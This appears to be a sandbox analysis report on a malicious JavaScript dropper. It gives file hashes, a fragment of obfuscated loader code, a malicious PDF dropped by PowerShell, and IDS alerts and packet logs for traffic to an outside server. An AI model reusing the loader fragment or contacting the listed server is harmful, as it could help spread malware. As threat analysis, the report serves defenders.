Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17201), with CRLF line terminators
Entropy (8bit):	4.931652108033037
TrID:
File name:	10266121931448610316.js
File size:	20'807 bytes
MD5:	13649472aac9d2677a516814da412333
SHA1:	1d5e8f525d099340de24f12a2d2df8a3e9c1699e
SHA256:	a94fac7850b509ba697691976066bda48790228391d2f3714436e368f787b248
SHA512:	82c486dbefd2d06e886b7feeacceb7617c2c16cc67816569669dfc72aedbc094a9f69ca752b7f86677a21540a644538bd5ce09d63cf646509ae9c8a1fc3ab0ee
SSDEEP:	384:yCs6nynoyMqyOecsIvSkmmxe+uDT2HFfzl2DOa45WYlumBtGuEmo0zHXyNcPON3z:pnynYfmo0zHXyN3N3j/
TLSH:	FE9295C6E4098E8FC6E442FCA866091B319632C586D65F2DAD160CD93C0667CC6F3A7F
File Content Preview:	function bpkzy(){zkzagpbo=[1031,3079,5127,4103,2055,3072];var pywelfary=this[qlugfh+utmmqfay+iqgqscsih+kgtwh+ovcqabve+voqal+yekojo+kfowzm](this[ehzpxyqdt+tliwgykim+jkuxyvvk+iqgqscsih+slusjx+qlugfh+kfowzm][muufytpl+iqgqscsih+ovcqabve+utmmqfay+kfowzm+ovcqab

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:24:45.321065+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-10T17:24:47.854395+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:24:44.424227953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:44.429143906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:44.429222107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:44.516774893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:44.521697044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.320672035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.320696115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.320708036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.320717096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.320728064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.320738077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.320748091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.320758104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.320768118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.320779085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.321064949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.325957060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.325968027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.326014996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.442045927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.442063093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.442126989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.442137957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.442148924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.442148924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.442159891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.442172050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.442194939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.442224026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.442923069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.442934990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.442985058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.443187952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.443198919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.443208933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.443218946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.443229914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.443232059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.443283081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.444055080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.444066048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.444077015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.444087029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.444097996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.444133997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.444875956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.444927931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.444935083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.456626892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.456640959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.456651926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.456723928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.456769943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.496529102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.588457108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.588474989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.588485003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.588578939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.634202957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.634218931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.634229898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.634253025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.634268999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.634299040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.634309053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.634318113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.634329081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.634337902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.634339094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.634354115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.634838104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.634867907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.634876013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.634877920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.634902954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.635216951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.635299921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.635308981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.635334015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.635343075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.635351896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.635368109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.635368109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.635387897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.636053085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.636116028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.636126041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.636135101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.636145115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.636152983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.636152983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.636164904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.636189938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.636226892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.636993885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.637034893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.637049913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.637058973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.637068987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.637083054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.637090921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.637092113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.637099981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.637116909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.637135983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.638077974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.638092041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.638101101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.638111115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.638120890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.638130903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.638133049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.638144016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.638149977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.638183117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.638901949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.638941050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.638962984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.638972998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.638983011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.638993025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.639005899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.639005899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.639033079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.647064924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.647114038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.724383116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.733690023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.751065969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.751096010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.751107931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.751137018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.762253046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.762264967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.762275934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.762301922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.762322903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.766554117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.777529955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.777559996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.777571917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.777596951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.777671099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.777683020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.777697086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.777705908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.777733088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.777820110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.777832031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.777879953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.777925968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.777936935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.777949095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.777960062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.777967930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.777995110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.778141975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.778167963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.778199911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.778249979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.778295994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.778330088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.778479099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.778489113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.778501034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.778512001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.778522968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.778526068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.778534889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.778547049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.778573036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.778887033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779026031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779036999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779048920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779058933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779068947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779069901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.779079914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779092073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779100895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779103041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.779114008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779124022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779129982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.779134035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779153109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.779171944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.779834986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779845953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779856920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779867887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779876947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.779884100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779895067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.779917002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.779938936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.780396938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.780412912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.780424118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.780432940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.780443907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.780456066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.780457020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.780462027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.780467033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.780471087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.780481100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.780492067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.780493975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.780503035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.780519962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.780539036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.781445980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.781456947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.781467915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.781476974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.781487942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.781492949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.781497955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.781508923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.781518936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.781529903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.781531096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.781541109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.781552076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.781553984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.781563044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.781570911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.781613111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.782304049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.782315969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.782326937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.782336950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.782346964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.782357931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.782358885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.782367945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.782377958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.782382965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.782393932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.782403946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.782411098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.782413960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.782426119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.782432079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.782473087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.782857895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.783076048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.809297085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.843368053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.843386889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.843405962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.843417883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.843424082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.843429089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.843441963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.843453884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.843476057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.854490995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.854515076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.854526997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.854538918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.854552984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.854567051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.854574919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.854593039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.854630947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:24:45.869863033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.869879007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:24:45.869894028 CET	80	49704	193.143.1.205	192.168.2.8
